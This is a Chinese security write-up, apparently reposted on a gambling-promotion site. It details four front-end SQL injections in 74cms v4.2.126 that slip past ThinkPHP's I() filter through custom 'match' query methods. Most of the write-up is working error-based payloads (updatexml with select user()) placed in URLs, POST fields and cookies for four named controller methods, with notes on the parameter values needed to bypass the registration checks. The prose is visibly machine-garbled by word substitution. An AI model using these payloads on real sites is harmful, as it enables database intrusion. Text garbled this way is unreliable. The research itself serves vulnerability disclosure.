某cms v4.2.126-前台四周sql注入 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

某cms v4.2.126-前台四周sql注入

申博_安全预警 申博 223次浏览 已收录 0个评论

0x00 媒介

厂商:74cms

关于版本:
新版的74cms采用了tp3.2.3重构了,以是可知底层是tp,74cms新版晋级是背景晋级的,以是先将将晋级要领。

注:此破绽不消晋级至最新版本也可运用。

0x01 74cms晋级到最新版

1, 先去官网下载 骑士人材体系基本版(装置包)
2, 将下载好的包举行装置
3, 进入背景点击检察若是不是最新版的话,请点击晋级!
5, 若是是当地状况的话,会提醒 域名不合法晋级失利,这个题目很好处理
6, 搜刮文件74cms\upload\Application\Admin\Controller\ApplyController.class.php
7, 查找一切$_SERVER[‘HTTP_HOST’] 改成 http://baidu.com 便可

0x02 提要

这个注入也是挺风趣的,若是不是我有比对源码的习气的话,可以或许还找不到这个74cms独占的框架sql注入破绽 : )

这里我并不会离开74cms从新讲一次相干的框架内容,以是读者最好,看看我之前的文章。

ThinkPHP3.2.3框架完成平安数据库操纵剖析
https://xz.aliyun.com/t/79

先看完上面的文章,然后在看此文章,会更简朴的相识清晰。

0x03 破绽解说

异常歉仄,让读者看到前面 3节 不是很有养分的器械。
在前面最最先的时刻,我说过我有对照源码,运用手册的状况。
以是这里我们继承在最先之前,我要运用在74cms这个代码内里写个例子,愿望可以或许让你们看懂,由于文化水平不高=-=,写文章觉得和许多先辈差异挺大的。

为了可以或许更直观,这里开启调试
文件:74cms\upload\Application\Common\Conf\config.php
增加多一行

'SHOW_PAGE_TRACE'        =>  true,

某cms v4.2.126-前台四周sql注入

然后翻开文件:74cms\upload\Application\Home\Controller\IndexController.class.php
增加代码:

$uid = I('GET.uid');
M('CompanyProfile')->field('companyname,logo')->where(array('uid'=>$uid))->find();

某cms v4.2.126-前台四周sql注入
某cms v4.2.126-前台四周sql注入
某cms v4.2.126-前台四周sql注入
我觉得到这里可以或许有人要骂我了。
应当有人会: 你个瓜皮,你家审计可以或许本身加代码的?
是的是的,的却不能加。我如许也是想让更多的人可以或许简朴的看懂这个破绽

那末我们经由过程这个也能晓得一样平常这类状况,是没得注入的了,而且应为运用了体系函数 I 以是也是没有框架注入这一说。

这里又要从新反复解说I函数的作用了
在我的眼中I函数就是一个为了处理框架底层设想题目的函数
某cms v4.2.126-前台四周sql注入
奇异的I函数
途径:ThinkPHP\Common\functions.php
要领名:function I($name,$default=”,$filter=null,$datas=null)
某cms v4.2.126-前台四周sql注入
这个函数的主要功能为3个
1, 肯定数据范例
2, 对数据举行轮回取值
3, 挪用think_filter 函数举行过滤

think_filter函数剖析
某cms v4.2.126-前台四周sql注入

比方:
    没有运用think_filter 函数时
goods_name[0]=in&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp

运用了think_filter函数时
    goods_name[0]=in &goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp
    注重:运用了think_filter函数时 in背面是有空格的也就是说返回值是
goods_name[0]=in(空格)&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp
而恰是这个空格的题目,就可以或许修复掉可以或许发作的框架注入题目。

接着我们直接翻开文件:74cms\upload\ThinkPHP\Library\Think\Db\Driver.class.php
某cms v4.2.126-前台四周sql注入

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

think_filter函数与上图二者对照一下,是不是发明多点了器械?
是的没错了。
74cms 修正了tp底层增加了
3个新要领:
match
    match_mode
    match_with

也就是说这3个要领我们是可以或许绕过 I 函数的过滤的

接着检察:parseWhereItem( 要领

某cms v4.2.126-前台四周sql注入
运用的是直接字符串拼接的体式格局入库,故推断此破绽可应用.
注重了上图我们可掌握的点是 $str 而 $str 给双引号包罗!!!!!!!

最最先的时刻,记得我说过么,体系默许I 会过滤 “双引号” 而致使此注入不可用,那末就须要找一处不经由I函数或是说不过滤双引号的处所来组织破绽。
这里我们从新修正一下例子:

翻开文件: 74cms\upload\Application\Home\Controller\IndexController.class.php
某cms v4.2.126-前台四周sql注入

输入url: http://74cms.test/index.php?m=Home&c=index&a=index&uid[0]=match&uid[1][0]=aaaaaaa”) and updatexml(1,concat(0x7e,(select user())),0) – a
某cms v4.2.126-前台四周sql注入
如许的话,这个注入就是可用的了。理解了这个今后,我们也算是挖到了74cms独占的框架破绽。
接下来整顿一下会发作注入的状况
M()->where($test)->xx
那末只需 where中恣意参数可控,并不会过滤 双引号便可!

然后就没什么技术含量了运用ide举行搜刮测试便可肯定破绽,经由一顿搜刮今后
某cms v4.2.126-前台四周sql注入
前端发明一共有四周,也就是说这个框架破绽,可以或许应用的处所只要四周。
后端注入,除挖src,否则我都以为他是没有什么用。以是后端能不能应用我也不晓得。我没去看 : )

0x05 74cms独占框架破绽第一处

文件:74cms\upload\Application\Home\Controller\AjaxPersonalController.class.php
要领:function company_focus($company_id)
是不是需登录:须要
登录权限:普通用户便可

为了轻易,我是直接背景注册账户的,由于自己穷,付不起短信费。

登录背景
某cms v4.2.126-前台四周sql注入
注册完成今后登录前台便可

若是不登录的话,会显现这个模样
url:http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus
某cms v4.2.126-前台四周sql注入

http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) — a
某cms v4.2.126-前台四周sql注入
看源码
某cms v4.2.126-前台四周sql注入
翻开文件: 74cms\upload\Application\Common\Model\PersonalFocusCompanyModel.class.php
要领:add_focus(
某cms v4.2.126-前台四周sql注入

0x06 74cms独占框架破绽第二处

文件:74cms\upload\Application\Home\Controller\CompanyServiceController.class.php
要领:order_pay_finish(
是不是需登录:须要
登录权限:企业用户便可

看源码
某cms v4.2.126-前台四周sql注入
为了轻易,我是直接背景注册账户的,由于自己穷,付不起短信费。
某cms v4.2.126-前台四周sql注入
某cms v4.2.126-前台四周sql注入
某cms v4.2.126-前台四周sql注入

注册完成今后登录前台便可

url: http://74cms.test/index.php?m=&c=CompanyService&a=order_pay_finish&order_id[0]=match&order_id[1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) – a
某cms v4.2.126-前台四周sql注入

0x07 74cms独占框架破绽第三处

文件:74cms\upload\Application\Home\Controller\MembersController.class.php
要领:register(
是不是需登录:不须要
某cms v4.2.126-前台四周sql注入


post: 
reg_type=2&utype=2&ucenter=bind&unbind_mobile=1

cookie:
members_uc_info[reg_type]=1;members_uc_info[utype]=2;members_uc_info[mobile][0]=match;members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;

headers:
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest

某cms v4.2.126-前台四周sql注入

这里我要也许讲一下参数的题目
post: 
reg_type=2            // 必需为2 为了绕过一个注册推断,为1的话,会直接建立帐户,致使没法应用破绽
utype=2               // 推断会员范例的也必需为2 为1会直接建立一条数据,致使没法应用破绽        
ucenter=bind           // 必需为bind由于要靠他,猎取cookie(members_uc_info)而且合并为$data数组举行应用
    unbind_mobile=1       // 只需有此字段便可,只是纯真为了知足流程推断的

cookie:
members_uc_info[reg_type]=1;         // 必需为1 知足流程须要
members_uc_info[utype]=2;               // 必需为2 知足流程须要
members_uc_info[mobile][0]=match;    // 框架破绽应用
members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;  // 这里输入注入语句

headers:  // 捏造ajax操纵
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest

0x07 74cms独占框架破绽第四周

文件:74cms\upload\Application\Home\Controller\MembersController.class.php
要领:oauth_reg (
是不是需登录:须要
登录权限:普通用户/企业用户都可

post:
    username = 本身去平台随意注册个账号然后输入谁人账号
    password = 本身去平台随意注册个账号然后输入谁人暗码

cookie:
    members_bind_info[type][0]=match;
members_bind_info[type][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某cms v4.2.126-前台四周sql注入
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址